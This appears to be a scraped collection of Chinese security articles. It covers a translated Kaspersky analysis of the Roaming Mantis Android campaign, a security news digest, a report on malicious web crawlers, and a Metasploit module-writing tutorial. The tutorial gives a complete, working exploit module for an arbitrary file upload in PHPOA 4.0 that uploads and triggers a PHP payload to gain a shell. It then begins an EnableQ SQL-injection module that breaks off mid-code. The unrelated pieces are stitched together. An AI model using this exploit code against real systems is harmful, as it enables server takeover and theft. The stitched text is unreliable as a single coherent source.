并没有受到重视，还属于比较冷门的攻击手法，但是该攻击手法危害高，应当重视起来。Node.js 安全性的范围很大，该文章作为一个引子，[掌控安全实验室](http://zkaq.org)将持续跟进分析，希望大家支持！下期见。
社区文章
**译者：知道创宇404实验室翻译组 原文链接：<https://securelist.com/roaming-mantis-reaches-europe/105596/>** 漫游螳螂(Roaming Mantis)是一种恶意攻击，目标是 Android 设备，通过[钓鱼短信](https://encyclopedia.kaspersky.com/glossary/smishing/?utm_source=securelist&utm_medium=blog&utm_campaign=termin-explanation)散播移动恶意软件。自2018年以来，我们一直在追踪漫游螳螂，并发表了五篇关于这项活动的博客文章: * [漫游螳螂使用 DNS 劫持感染 Android 智能手机](https://securelist.com/roaming-mantis-uses-dns-hijacking-to-infect-android-smartphones/85178/) * [漫游螳螂涉足多语种挖掘和网络钓鱼](https://securelist.com/roaming-mantis-dabbles-in-mining-and-phishing-multilingually/85607/) * [漫游螳螂，第三部分](https://securelist.com/roaming-mantis-part-3/88071/) * [漫游螳螂，第四部分](https://securelist.com/roaming-mantis-part-iv/90332/) * [漫游螳螂，第五部分](https://securelist.com/roaming-mantis-part-v/96250/) 距离上一篇博客文章已经有一段时间了，但是我们发现了漫游螳螂在2021年的一些新活动，以及 Android 木马 Wroba.g (或Wroba.o，又名 Moqhao，XLoader)的一些变化，这些变化主要用于本次攻击活动。此外，我们发现除了日本、中国台湾和韩国外，法国和德国也是“漫游螳螂”的主要目标。 ## 漫游螳螂受害者地理分布 我们对“漫游螳螂”的最新研究表明，攻击者正专注于通过向欧洲用户发送钓鱼短信来扩大感染范围。法国和德国的攻击非常活跃，引起了[德国警方](https://www.polizei-praevention.de/aktuelles/sms-mit-paketbenachrichtigungslink-verursacht-massenhafte-sms.html)和[法国媒体](https://cyberguerre.numerama.com/11670-votre-colis-a-ete-envoye-attention-a-ce-sms-il-cache-un-malware.html)的注意。他们提醒用户注意钓鱼信息和受到攻击的作为登陆页面的网站。 ![Smishing alerts on German and French websites](https://images.seebug.org/content/images/2022/02/08/1644311831000-3ghhkx.png-w331s) 德国和法国网站上的钓鱼信息提醒 通常，钓鱼消息包含一个非常简短的描述和一个登陆页面的 URL。如果用户点击链接并打开登陆页面，有两种情况: iOS 用户被重定向到模仿苹果官方网站的钓鱼页面，而 Wroba 恶意软件则被下载到安卓设备上。 ![Link from smishing message redirects to Wroba or phishing page](https://images.seebug.org/content/images/2022/02/08/1644311832000-4hxuuf.png-w331s) 钓鱼信息重定向到 Wroba 或网络钓鱼页的链接 根据我们在2021年7月至2022年1月期间收集到的遥测数据，在许多地区检测到了 Wroba.g 和 Wroba.o。受影响最严重的国家是法国、日本、印度、中国、德国和韩国。 受Trojan-Dropper.AndroidOS.Wroba.g and Trojan-Dropper.AndroidOS.Wroba.o影响的地区 我们还给出一些非常有趣的数据，这些数据来自 Roaming Mantis 在[2021年互联网周刊](https://www.nic.ad.jp/iw2021/program/detail/#c25)上发布的登陆页面统计数据，以及来自日本的独立安全专家@ninoseki 的[Github](https://github.com/ninoseki/iw2021_moqhao/tree/main/) 数据。这些数据显示了2021年9月某一天下载的 APK 文件数量、登陆页面域名数量，以及 Roaming Mantis 最关注的7个地区的 IP 地址数量。 ![The number of downloaded APK files and IPs/domains of landing pages](https://images.seebug.org/content/images/2022/02/08/1644311834000-5ozwmx.png-w331s) 下载 APK 文件的数量和登陆页面的ip/域名 下表是基于 APK 文件下载次数的排名。受影响最严重的国家是法国，其次是日本、德国和其他国家。一些目标区域似乎与我们上面提到的遥测重结果一样。 | **地区** | **数目** | **假冒品牌** | | ---|---|---|---|---|--- **IPs** | **域名** | **下载** | | | 1 | 法国 | 5 | 1,246 | 66,789 | 谷歌浏览器 2 | 日本 | 4 | 539 | 22,254 | 大和运输公司 3 | 德国 | 1 | 162 | 2,681 | 谷歌浏览器 4 | 韩国 | 2 | 8 | 2,564 | ePOST 5 | 美国 | 5 | 123 | 549 | 谷歌浏览器 6 | 台湾 | 1 | 62 | 302 | 智能宅急便 (Yamato transport in Chinese) 7 | 土耳其 | 3 | 5 | 27 | 谷歌浏览器 ## 登陆页面反研究的技巧 在整个2020年和2021年，“漫游螳螂”背后的犯罪集团在登录页脚本中使用了各种混淆技术，以逃避侦查。 ![Variety of obfuscation techniques in the landing page script](https://images.seebug.org/content/images/2022/02/08/1644311836000-6xhrxj.png-w331s) 登录页脚本中的多种模糊处理技术 除了模糊处理之外，登陆页面还会在非目标区域中阻止来自源 IP 地址的连接，并为这些连接显示一个假的“404”页面。 自2019年以来，登陆页面中的用户代理检查功能一直没有改变; 它通过用户代理评估设备，如果设备是基于 ios 的，则重定向到钓鱼页面，如果设备是基于 android 的，则发送恶意的 APK 文件。 ## 技术分析: Wroba.g/Wroba.o 的加载器模块 我们以 kuronekoyamato.apk 为例，对 Wroba.g/Wroba.o 样本进行了深入分析，并观察了加载程序模块和有效载荷中的一些修改。首先，攻击者将编程语言从 Java 改为 Kotlin，它是一种旨在与 Java 完全互操作的编程语言。然后，攻击者删除了多指模糊技巧。除此之外，嵌入式有效载荷(\assets\rmocpdx\15k7a5q)的数据结构也作了如下修改: ![Modified data structure of embedded payload](https://images.seebug.org/content/images/2022/02/08/1644311837000-7gelvo.png-w331s)] 嵌入式负载数据结构的修改 前八个字节的数据是垃圾代码(灰色) ，其次是有效负载的大小(橙色)、单字节 XOR 键(红色)、加密有效负载(绿色)和更多垃圾代码(灰色)。此外，在 APK 文件中嵌入了一个 ELF 文件， `\lib\armeaib-v7a\libdf.so` 它使用Java本地方法接口(JNI)作为第二阶段的有效载荷，用于解密，也是加载特性的一部分。解密过程和算法只有如下三个步骤: ![Various obfuscation techniques in the landing page script](https://images.seebug.org/content/images/2022/02/08/1644311838000-8tcbmh.png-w331s) 登录页脚本中的各种混淆技术 首先，loader 函数从嵌入的数据中获取每一部分数据，但垃圾数据除外。然后，使用嵌入的 XOR 密钥对加密的有效负载进行 XOR运算。在 XOR 操作之后，与以前的示例一样，使用 zlib 解压缩数据以提取有效负载(Dalvik Executable (DEX)文件)。 以下简单的 Python 脚本有助于提取有效负载: #!/usr/bin/env python3 import sys import zlib import base64 data = open(sys.argv[1], "rb").read() key = data[11] size = data[10] | data[9] << 8 | data[8] << 16 enc = data[12:12+size] dec_x = bytes(enc[i] ^ key for i in range(len(enc))) dec_z = zlib.decompress(dec_x) with open(sys.argv[1]+".dec","wb") as fp: fp.write(dec_z) 在这个示例中，解密的有效负载被保存为`\data\data\ggk.onulfc.jb.utxdtt.bk\files\d`并执行，以感染受害者设备上的恶意主模块。 ## 技术分析: Wroba.g/Wroba.o 的有效载荷 关于 Wroba.g/Wroba.o 有效载荷的更新，卡巴斯基专家只观察到有效载荷部分有两个小的更新。其中一个功能是检查被感染设备的地区，以便用相应的语言显示钓鱼页面。在旧的样本中，它检测了三个地区: 香港、台湾和日本。现在，德国和法国被增加为新的地区。从本次更新以及上面的地图可以清楚地看出，德国和法国已经成为了 roba.g/wroba.o 版本的“漫游螳螂”的主要目标。 另一个修改是后门命令。开发人员添加了两个后门命令“get_photo”和“get_gallery”，并删除了命令“show_fs_float_window”。总的来说，有21个嵌入式后门命令。 ![List of embedded backdoor commands with the two new commands 'get_gallery' and 'get_photo'](https://images.seebug.org/content/images/2022/02/08/1644311840000-9tieyb.png-w331s) 嵌入式后门命令列表，包含两个新命令‘ get gallery’和‘ get photo’ 这些新的后门命令被添加到受感染的设备，窃取图库和照片。这表明攻击者心中有两个目的。一种可能的情况是，犯罪分子窃取驾驶执照、健康保险卡或银行卡等详细信息，与二维码支付服务或移动支付服务签订合同。犯罪分子还可以利用偷来的照片以其他方式获得金钱，比如勒索或性交易。有效负载的其他功能没有改变。 ## 总结 从卡巴斯基第一次观察到漫游螳螂攻击到现在已经快四年了。从那时起，该犯罪组织继续使用各种恶意软件家族(如 HEUR: Trojan-Dropper)进行攻击活动，以及各种攻击方法，如网络钓鱼、挖掘、散播和 DNS 病毒。此外，该组织现已扩大了地理范围，在其主要目标地区增加了两个欧洲国家。我们预计，由于强大的利益动机，这些攻击将在2022年继续发生。 ## MD5 hashes of Wroba.o [527b5eebb6dbd3d0b777c714e707659c](https://opentip.kaspersky.com/527b5eebb6dbd3d0b777c714e707659c/?utm_source=SL&utm_medium=SL&utm_campaign=SL) [19c4be7d5d8bf759771f35dec45f267a](https://opentip.kaspersky.com/19c4be7d5d8bf759771f35dec45f267a/?utm_source=SL&utm_medium=SL&utm_campaign=SL) [2942ca2996a80ab807be08e7120c2556](https://opentip.kaspersky.com/2942ca2996a80ab807be08e7120c2556/?utm_source=SL&utm_medium=SL&utm_campaign=SL) [4fbc28088b9bf82dcb3bf42fe1fc1f6d](https://opentip.kaspersky.com/4fbc28088b9bf82dcb3bf42fe1fc1f6d/?utm_source=SL&utm_medium=SL&utm_campaign=SL) [0aaf6aa859fbdb84de20bf4bf28a02f1](https://opentip.kaspersky.com/0aaf6aa859fbdb84de20bf4bf28a02f1/?utm_source=SL&utm_medium=SL&utm_campaign=SL) [5bafe0e5a96b1a0db291cf9d57aab0bc](https://opentip.kaspersky.com/5bafe0e5a96b1a0db291cf9d57aab0bc/?utm_source=SL&utm_medium=SL&utm_campaign=SL) [ddd131d7f0918ece86cc7a68cbacb37d](https://opentip.kaspersky.com/ddd131d7f0918ece86cc7a68cbacb37d/?utm_source=SL&utm_medium=SL&utm_campaign=SL) * * *
社区文章
# 【知识】10月24日 - 每日安全知识热点 | ##### 译文声明 本文是翻译文章，文章来源：安全客 译文仅供参考，具体内容表达以及含义原文为准。 **热点概要： 您需要多个AWS帐户：AWS堡垒和承担角色、通过LASER fire构造Ethereme利用、对于Redis用户来说，本地运行可能是一个主要的安全风险、docker-onion-nmap：使用nmap再Tor网络上扫描隐藏的"onion"服务、使用DDE实现MSWord脚本注入、macOS Kernel Fuzzer：使用多种不同的方式进行模糊测试** ** ** **** **** **国内热词（以下内容部分来自：http://www.solidot.org/）** Google 将为第三方流行应用的漏洞提供赏金 微软发现 Chrome 的安全漏洞 **技术类：** ******** 您需要多个AWS帐户：AWS堡垒和承担角色 <https://engineering.coinbase.com/you-need-more-than-one-aws-account-aws-bastions-and-assume-role-23946c6dfde3> 通过LASER fire构造Ethereme利用 <https://hackernoon.com/crafting-ethereum-exploits-by-laser-fire-1c9acf25af4f> 对于Redis用户来说，本地运行可能是一个主要的安全风险 <https://blog.bugreplay.com/2017/05/for-users-of-redis-running-locally-can-be-dangerous.html> docker-onion-nmap：使用nmap再Tor网络上扫描隐藏的"onion"服务 <https://github.com/milesrichardson/docker-onion-nmap> 使用PROJECT SPACECRAB进行Breach检测 <https://developer.atlassian.com/blog/2017/10/project-spacecrab-breach-detection/> 使用DDE实现MSWord脚本注入 <https://medium.com/@5yx/dde-word-exec-3e57cc45b401> macOS Kernel Fuzzer：使用多种不同的方式进行模糊测试 <https://github.com/mwrlabs/OSXFuzz> Windows Defender Exploit Guard: 减少攻击面针对下一代恶意软件 <https://blogs.technet.microsoft.com/mmpc/2017/10/23/windows-defender-exploit-guard-reduce-the-attack-surface-against-next-generation-malware/> Native LLDB(v3.8) for iOS <https://paper.seebug.org/419/> Android获得“DNS over TLS”支持，以阻止ISP获取到您访问的网站信息 <https://www.xda-developers.com/android-dns-over-tls-website-privacy/amp/>
社区文章
本人测试了两个2008 r2 都没成功，主啊神啊 阿门 哈利路亚 阿弥陀佛，如果有伙伴把这个exp改成webshell下可用的就OK了呢 <https://github.com/akkuman/cve-2018-8121> <https://github.com/akkuman/cve-2018-8120>
社区文章
作者：云鼎实验室 互联网最激烈的对抗战场，除了安全专家与黑客之间，大概就是爬虫与反爬虫领域了。据统计，爬虫流量早已超过了人类真实访问请求流量。互联网充斥着形形色色的爬虫，云上、传统行业都有不同规模的用户被爬虫爱好者盯上，这些爬虫从哪里来？爬取了谁的数据？数据将被用于何处？ 近日，腾讯云发布2018上半年安全专题系列研究报告，该系列报告围绕云上用户最常遭遇的安全威胁展开，用数据统计揭露攻击现状，通过溯源还原攻击者手法，让企业用户与其他用户在应对攻击时有迹可循，并为其提供可靠的安全指南。本篇报告中，云鼎实验室通过部署的威胁感知系统,捕获到大量爬虫请求流量以及真实来源 IP，且基于2018年上半年捕获的数亿次爬虫请求，对互联网爬虫行为进行分析。 ### **一、基本概念** #### 1\. 爬虫是什么？ 爬虫最早源于搜索引擎，它是一种按照一定的规则，自动从互联网上抓取信息的程序。 搜索引擎是善意的爬虫，它爬取网站的所有页面，提供给其他用户进行快速搜索和访问，给网站带来流量。为此，行业还达成了 Robots 君子协议，让互联网上的搜索与被搜索和谐相处。 原本双赢的局面，很快就被一些人破坏了，如同其他技术，爬虫也是一把双刃剑，变得不再「君子」。尤其是近年来「大数据」的概念，吸引了许多公司肆意爬取其他公司的数据，于是「恶意爬虫」开始充斥互联网。 **本篇报告主要聚焦于「恶意爬虫」，不讨论搜索引擎爬虫及合法爬虫等。** #### 2\. 爬虫的分类 **按爬虫功能，可以分为网页爬虫和接口爬虫。** * 网页爬虫：以搜索引擎爬虫为主，根据网页上的超链接进行遍历爬取。 * 接口爬虫：通过精准构造特定 API 接口的请求数据，而获得大量数据信息。 **按授权情况，可以分为合法爬虫和恶意爬虫。** * 合法爬虫：以符合 Robots 协议规范的行为爬取网页，或爬取网络公开接口，或购买接口授权进行爬取，均为合法爬虫，该类爬虫通常不用考虑反爬虫等对抗性工作。 * 恶意爬虫：通过分析并自行构造参数对非公开接口进行数据爬取或提交，获取对方本不愿意被大量获取的数据，并有可能给对方服务器性能造成极大损耗。此处通常存在爬虫和反爬虫的激烈交锋。 #### 3\. 数据从哪来？ 爬虫不生产数据，它们只是数据的搬运工。要研究爬虫，就得先研究数据的来源。尤其是对小型公司来说，往往需要更多外部数据辅助商业决策。如何在广袤的互联网中获取对自己有价值的数据，是许多公司一直考虑的问题。通常来说，存在以下几大数据来源： * 企业产生的用户数据 如 BAT 等公司，拥有大量用户，每天用户都会产生海量的原始数据。 另外还包括 PGC （专业生产内容）和 UGC （用户生产内容）数据，如新闻、自媒体、微博、短视频等等。 * 政府、机构的公开数据 如统计局、工商行政、知识产权、银行证券等公开信息和数据。 * 第三方数据库购买 市场上有很多产品化的数据库，包括商业类和学术类，比如 Bloomberg、 CSMAR、 Wind、知网等等，一般以公司的名义购买数据查询权限，比如咨询公司、高等院校、研究机构都会购买。 * 爬虫获取网络数据 使用爬虫技术，进行网页爬取，或通过公开和非公开的接口调用，获得数据。 * 公司间进行数据交换 不同公司间进行数据交换，彼此进行数据补全。 * 商业间谍或黑客窃取数据 通过商业间谍获取其他公司用户数据，或者利用黑客等非常规手段，通过定制入侵获取数据或地下黑市购买其他公司数据。此处商业间谍泄漏远多于黑客窃取。 ### **二、恶意爬虫的目标** 从前面总结的数据来源看，第三方数据库购买或数据窃取的渠道都不涉及爬虫，真正属于恶意爬虫目标的，主要是互联网公司和政府相关部门的数据。 **行业总体分布** 通过对捕获的海量恶意爬虫流量进行标注，整理出恶意爬虫流量最大的行业 TOP 10 排行，详情如下： 由统计可见，出行类恶意爬虫流量占比高于电商与社交行业，居首位，其次是点评、运营商、公共行政等。接下来逐个行业进行分析： #### 1\. 出行 * 实时火车票信息 对火车购票平台的恶意爬虫访问占据了出行行业近90%的流量，浅析可知其实比较合理，几百个城市，几千趟列车构成国内铁路网，火车站与车次排列组合后是一个非常大的数据集，随着人工购票快速向互联网购票过渡，第三方代购和抢票服务商便越来越多，而任意一家要做到数据实时刷新，都需要不小的爬虫集群，因此导致火车票购买站点成为爬虫光顾最频繁的业务。 * 实时机票信息 机票类占据出行类8.77%的恶意爬虫流量，主要是爬取各大航空公司实时票价。 * 实时公交信息 主要爬取市内公交 GPS 信息。 * 实时共享单车信息 主要爬取特定区域周边的实时共享单车信息。 * 酒店空房信息 酒店爬取占比较少，主要是刷酒店房价，与交通类比较可忽略不计。 #### 2\. 社交 由于国内的社交平台多数以纯 APP 为主，部分社交平台并不支持网页功能，因此捕获到的社交类爬虫主要集中在微博类平台，以爬取用户信息和所发布的内容为主。 #### 3\. 电商 电商行业爬虫主要是爬取商品信息和价格等数据，由于商业模式的差异，C2C 类电商由于中小卖家众多，商品数量远多于 B2C 类电商，支撑了电商类恶意爬虫近90%流量， B2C 类电商加起来占一成左右。 #### 4\. O2O O2O 行业恶意爬虫主要集中在点评类和团购类公司，其中以爬取商铺动态信息和星级评分信息的点评类数据为主，占总数的90%以上。 #### 5\. 公共行政 公共行政类恶意爬虫主要集中在法院文书、知识产权、企业信息、信用信息等常规商业信息领域，而另一个受爬虫青睐的是挂号类平台，从数据来看应该是一些代挂号平台提供的抢号服务。 #### 6\. 运营商 运营商的恶意爬虫流量主要集中在运营商各种互联网套餐手机卡的查询。由于互联网套餐手机卡存在较高的性价比，因此网络上形成了相关的刷靓号、抢号、代购等产业链。 网络上存在多种通过爬虫技术进行靓号手机号搜索的工具，选择手机卡类型，再不断爬取待售手机号，寻找到符合理想靓号规则的号码。下图为某扫号工具截图，可选择数十种不同的互联网套餐卡： （某手机靓号扫号工具截图） #### 7\. 自媒体 根据本次统计，自媒体类爬虫主要集中于微信订阅号关键词搜索和文章访问，分别占总量的64.91%和20.73%，其他自媒体平台约占14.36%。 #### 8\. 地图 地图类爬虫比较常规，主要是爬取地理位置周边商户详细信息为主。 #### 9\. SEO SEO 类恶意爬虫通常是频繁搜索相关词汇，来影响搜索引擎的排名。 #### 10\. 新闻 新闻类恶意爬虫主要用于爬取聚合类新闻 APP 及各大门户的新闻信息。以搜索引擎的新闻平台和聚合类APP的数据为主，传统门户类爬虫较少光顾。 #### 11\. 其他 其他主要被爬虫光顾的领域还有新闻、招聘、问答、百科、物流、分类信息、小说等，不进行一一列举。 ### **三、爬虫来源 IP 分布** #### 1\. 国家分布 从本次半年度统计捕获到的爬虫流量源 IP来看，大部分都来自国内，超过90%，其次主要来自美国、德国、日本等国家。 #### 2\. 国内分布 将源自国内的数据抽出来进行细分，可以看到，主要来自北京、天津、河北、上海等省市，以上4个地区所占国内恶意爬虫流量超70%。这并不是因为爬虫作者都来自这些地区，而是因为大量的爬虫部署在租用的 IDC 机房，这些机房大多在发达省市。 #### 3\. 网络分布 该图是恶意爬虫源 IP 的网络分布，可以看到，超过一半来自国内运营商网络，而这其中大比例是源自运营商的 IDC 机房。云计算厂商方面，国内主要云厂商都有上榜。 整体数据来看，恶意爬虫绝大部分都是来自 IDC 机房，随着恶意程序云端化，云计算厂商应当对云资源被滥用的情况进行及时了解和处理。 ### **四、爬虫与反爬虫的对抗** 作为互联网对抗最激烈的战场之一，说到爬虫，就不能不提反爬虫。当反爬虫工程师对爬虫进行了反杀，爬虫工程师也不会任人宰割，很快又研究出了各种反对抗技术。 #### 1.对手是谁 爬虫和反爬虫的斗争由来已久，要想做好反爬虫，先要知道对手有哪些，才好制定相应的策略。反爬虫工程师的对手通常来自以下几类： * 应届毕业生 每年三月份左右通常会有一波爬虫高峰，和应届毕业生（本科、硕士、博士）有关，为了让论文有数据支撑，他们的爬虫简单粗暴，忽略了服务器压力，且人数不可预测。 * 创业小公司 初创公司缺少数据支撑，为了公司生存问题，爬取别家数据，不过通常持续不久，较易被反爬虫手段逼退。 * 成型的商业对手 反爬虫工作最大的对手，有钱有人有技术，如果需要，会通过分布式、跨省机房、ADSL 等种种手段进行长期爬取。如果双方持续对抗，最终的结果可能会是彼此找到平衡点。 * 失控爬虫 许多爬虫放于服务器运行后，就被程序员忘了，它们或许早已爬不到数据了，但依然会孜孜不倦地消耗服务器资源，直到爬虫所在服务器到期。 #### 2.技术对抗 犹如安全专家和黑客之争，爬虫工程师和反爬虫工程师也是相爱相杀、你来我往、螺旋上升。经过几番的技术升级，常用的反爬虫及对应的反反爬虫方案如下： * 验证码 验证码是最常用的反爬虫措施，但简单验证码通过机器学习自动识别，通常正确率能达到50%以上甚至更高。 复杂验证码通过提交到专门的打码平台进行人工打码，依据验证码的复杂度，打码工人平均每码收1-2分钱。也同样容易被绕过，使得数据容易被爬取。 * 封 IP 这是最有效也最容易误杀的方案。该策略建立在 IP 稀有的前提下，目前通过代理池购买或者拨号 VPS 等方式，可以低成本获取数十万的 IP 池，导致单纯的封IP策略效果越来越差。 * 滑块验证 滑块验证结合了机器学习技术，只需要滑动滑块，而不用看那些复杂到有时人眼也无法分辨的字母。但由于部分厂商实现时校验算法较为简单，导致经常只需要相对简单的模拟滑动操作就能绕过，从而使得数据被恶意爬取。 * 关联请求上下文 反爬虫可以通过 Token 或网络请求上下文是否进行了完整流程的方式来判断是否真人访问。但对具有协议分析能力的技术人员来说进行全量模拟并没有太大困难。 * javascript 参与运算 简单的爬虫无法进行 js 运算，如果部分中间结果需要 js 引擎对 js 进行解析和运算，那么就可以让攻击者无法简单进行爬取。但爬虫开发者依然可以通过自带 js 引擎模块或直接使用 phantomjs 等无端浏览器进行自动化解析。 * 提高数据获取成本 当面对的是职业选手时，只能通过提升对方人力成本来实现，比如代码混淆、动态加密方案、假数据等方式，利用开发速度大于分析速度的优势，来拖垮对方的意志。如果对方咬定不放松，那只能持续对抗，直到一方由于机器成本或人力成本放弃。 当对抗到了这个阶段，与安全对抗一样，技术之争就进入了鏖战的「平衡期」， **此时反爬虫工程师对抗掉了大部分的低级玩家，剩下的高级爬虫工程师也默契的保持一个不给服务器太大压力的爬取速度，双方犹如太极推手，那下一步如何打破这个平衡？** ### **五、对抗新思路：云端 AI 反爬虫** 爬虫和反爬虫的对抗，在云计算成为趋势后，逐渐加入了第三方势力，云计算厂商可直接为企业提供云端反爬能力，将战局从反爬虫与爬虫的1v1 变成了企业+云厂商与爬虫 的2v1，助力企业的反爬能力。 尤其是近年来 AI 技术不断突破，为解决许多问题提供了全新思路。基于这个角度，云鼎实验室通过深度学习技术对海量真实恶意爬虫流量进行分析，认为将 AI 技术引入反爬虫领域能起到极好的补充效果，将是未来此类对抗领域的趋势所在。 为此，腾讯云网站管家（WAF）联合云鼎实验室基于海量真实爬虫流量建立更为通用的爬虫识别模型，已卓有成效，后续将致力于把最强的识别能力开放给各企业。 * * *
社区文章
# Metasploit module开发WEB篇 | ##### 译文声明 本文是翻译文章，文章来源：360安全播报 译文仅供参考，具体内容表达以及含义原文为准。 **Metasploit是款渗透神器,尤其是在拿到会话后撸内网那感觉更是爽上天。 ** **在平常的渗透测试过程中,多是通过撸掉web拿到shell进入内网,所以在拿到shell后往往就会想办法获取个metasploit的会话,方便后面往下撸。对于那些通用CMS的漏洞,拿shell到获取会话的过程可以通过编写模块来搞定,提高效率,避免重复工作,同时也可以通过提交模块到长矛获得一些收入。** 如标题所写,本文主要介绍web渗透相关模块的开发,二进制玩不来,等学会了再来和大家分享。 **前言:** Web中漏洞类型那么多,有些十分适合拿来写exploit模块,像文件上传、命令执、代码执行这种,很容易就拿到shell获取会话。相比那些比较鸡肋的洞,难以对服务器直接造成威胁,缺乏适用性或本身价值就不大,比如同样是sql注入,有的服务器权限没做好能拿shell,但是在没有丁点写权限的情况下也只能来搞出来点数据而已;还有文件包含之类的洞,受太多环境变量影响;XSS、CSRF、SSRF这些就更不用说了,还有权限没做好导致信息泄漏之类的洞;就只能拿来写辅助模块(auxiliary) **准备:** 码代码前先把工具准备好。 metasploit框架推荐从git上下载,kali里带的那个版本比较低,低版本框架中module用的类名称是Metasploit3,而新框架中已经改名成MetasploitModule,继续使用的话会产生警告;同时新框架下的payload也有改变,以cmd/unix/reverse_netcat为例,在新框架下更名成了cmd/unix/reverse_netcat_ gaping;新框架下payload支持使用代理,通过代理可以很方便的调试,这也是推荐使用新框架的重要原因。Metasploit支持通过-m 参数加载指定路径的模块,所以可以通过命令mkdir –p ~/module/{auxiliary, exploits}/ 先在家目录下创建文件夹,然后通过msfconsole –m ~/module/ 加载目录下的模块,编辑模块后在msf控制台通过reload命令重新载入,方便调试代码,不过据我测试,reload命令只对exploits目录下的模块有效。。。 一款顺手的代理工具,拿来调试插件。我倾向用burpsuit,其他的也可以,只要能得到框架发出的数据包就行(刚开始写插件的时候太年轻,直接上wireshark看数据的。。。)。 **开整:** 首先是exploit模块的编写,以phpoa4.0任意文件上传导致getshell漏洞为例,乌云漏洞编号为[wooyun-2016-0182666](http://www.wooyun.org/bugs/wooyun-2016-0182666),通过漏洞说明和证明很容易理解漏洞,利用方式简单粗暴,直接构造表单上传。所以我们的模块就是要上传个带有payload的php文件,然后访问这个php文件,获得metasploit会话。看代码: #引入msf的核心框架代码 require 'msf/core' #声明新的类,继承自Msf::Exploit::Remote class MetasploitModule < Msf::Exploit::Remote #制定该模块的易用性,就是给自己评RANK   Rank = ExcellentRanking #引入要用到的模块,和python中的import功能一样   include Msf::Exploit::Remote::HttpClient #初始化函数   def initialize(info = {})     super(update_info(info,                       'Name' => '  PHPOAV4.0任意文件上传',                       'Description' => %q{                             upload/index.php 无需登录等认证即可上传任意文件,商业授权版,企业应用版,政务版,集团版通杀                                  },                       'Author' =>                           [                               '3xpl0it',#漏洞作者                               '扶摇直上打飞机'#插件作者                           ],                       'License' => MSF_LICENSE,                       'References' =>                           [                               ['url', 'http://www.wooyun.org/bugs/wooyun-2016-0182666']                           ],                       'Privileged' => true, #指定目标平台类型                       'Platform' => ['php'],                       'Targets' => [['all of them', {}],], #指定目标框架架构                       'Arch' => ARCH_PHP,                       'DefaultTarget' => 0,           )) #注册参数     register_options(         [             Opt::RHOST(),             Opt::RPORT(80),             OptString.new('TARGETURI', [true, 'The URI of the Centreon Application', '/']),         ], self.class)   end #定义上传函数   def upload #定义个全局文件名变量,一个随机的文件名     @fname = "#{rand_text_alphanumeric(rand(10)+6)}.php" #生成要上传的payload     php = "<?php #{payload.encoded}?>" #实例化MIME消息体     data = Rex::MIME::Message.new     data.add_part(php, 'image/jpeg', nil, "form-data; name="files"; filename="#{@fname}"")     post_data = data.to_s     print_status("Uploading #{@fname} payload...") #上传文件     res = send_request_cgi({                                'method' => 'POST',                                'uri' => normalize_uri(target_uri.path, 'upload', 'index.php'),                                'ctype' => "multipart/form-data; boundary=#{data.bound}",                                'data' => post_data,                            }) #验证上传及访问上传文件获得会话     if res.code.to_s == '200'       json = JSON.parse(res.body)       tempfile = json['files'][0]['url']       shellpath = normalize_uri(target_uri.path, 'upload', tempfile)       print_good("Shell address:#{shellpath}")       print_status("Executing the payload...")       send_request_cgi(           {               'uri' => shellpath,               'method' => 'GET'           }, 5)       print_good("Executed payload")     else       fail_with(Failure::Unknown, "#{rhost} cant get crumb value ")     end   end   def exploit     upload   end   def rhost     datastore['RHOST']   end   def rport     datastore['RPORT']   end   def targeturi     datastore['TARGETURI']   end end initialize就是初始化函数,里面定义插件的基本信息,名称、描述、作者等,其中Platform指定插件适用的平台,Arch指定插件适用的框架,两者决定了payload的类型,在本例中platform我选择的是php,arch选择的是ARCH_PHP,所以供我选择的payload有 对于.net应用可以选择platform为win,arch为arch_x86。更多关于platform和arch的填写可以参考这里[http://doc.metascan.cn/](http://doc.metascan.cn/),也可以参考现有插件。 register_options是注册exp参数用的,有时可能先有参数选择不够用的,就需要自己来定义个,有时也会为了方便利用而设置个默认值,也是在这里注册,比如有个应用是用https协议的,而且端口不是80,所以为了方便,在这里就会设置两个默认参数: Opt::RPORT(443),  OptBool.new('SSL', [true, 'Negotiate SSL/TLS for outgoing connections', true]), 这里就是指定默认使用HTTPS协议,端口443. 所有的payload都在modules/payloads目录下,都是ruby文件,这里以php/reverse_php 为例,文件路径为modules/payloads/singles/php/reverse_php.rb,详细代码诸位可自行去看看,这里就不浪费篇幅了,其中在初始化函数initialize中也定义了payload适用的platform和arch,亦可由此判断payload适用场景。 本例是一个任意文件上传漏洞的利用,发送请求是用的send_request_cgi函数,其中需要注意的地方为ctype的设置,ctype设置HTTP请求中的Content-Type,send_request_cgi函数的默认Content-Type是application/x-www-form-urlencoded,是最常见的POST提交数据的方式。也是浏览器的原生form表单,即在不设置 enctype 属性的情况下,那么最终就会以 application/x-www-form-urlencoded 方式提交数据。 当需要上传文件到服务器时,enctyped的值就需要设置为multipart/form-data,在本例中即是如此。在请求体中为了区分不同的片段需要设置boundary,要传输的消息体每部分都是以 –boundary 开始,紧接着内容描述信息,然后是回车,最后是字段具体内容(文本或二进制),如果传输的是文件,还要包含文件名和文件类型信息。消息主体最后以 –boundary– 标示结束 。 如下图所示 此外enctype的类型还有text/xml,application/json,具体的可以去看[http://www.aikaiyuan.com/6324.html这篇文章](http://www.aikaiyuan.com/6324.html%E8%BF%99%E7%AF%87%E6%96%87%E7%AB%A0)。 在post请求中,因为要上传文件,所以首先REX::MIME::Message.new实例化一个对象,然后利用add_part函数填充内容(函数的定义在lib/rex/mime/message.rb中,有兴趣的可以去看下),最后将该对象转为字符串格式用以发送。 待payload上传成功,访问触发就可获得会话。 **测试:** 成功获取会话,中间配置代理查看请求过程 再来一个auxiliary模块 这是enableq的一个sqli漏洞,乌云漏洞编号为wooyun-2015-0164832,在漏洞分析中已经给出详细的利用过程,所以这个插件写起来也是很简单,直接看关键代码 def rand_xff   return "#{rand(1...255)}.#{rand(1...255)}.#{rand(1...255)}.#{rand(1...255)}" end def get_rand_post   rand_respone = send_request_raw({                                       'uri' => normalize_uri(target_uri.path, "enableq", "System", "Login.php"),                                       'headers' =>                                           {                                               "x-forwarded-for" => "#{rand_xff}"                                           }                                   })   if rand_respone and rand_respone.body =~ /name="crumb" id="crumb" value="(w+)"/     crumb = $1     if rand_respone.headers['Set-Cookie'] =~ /PHPSESSID=(w+)/       return crumb, $1       endset     else       fail_with(Failure::Unknown, "#{rhost} cant get crumb value ")     end     return Exploit::CheckCode::Safe   end end def get_username   getres = 0   username = ''   crumb, session_id = get_rand_post   print_status("start to exploit....")   for f in (0..20)     if getres ==2       print_good("USERNAMR:#{username}")       return username     end     getres += 1     for i in [*'0'..'9', *'a'..'z', *'A'..'Z']      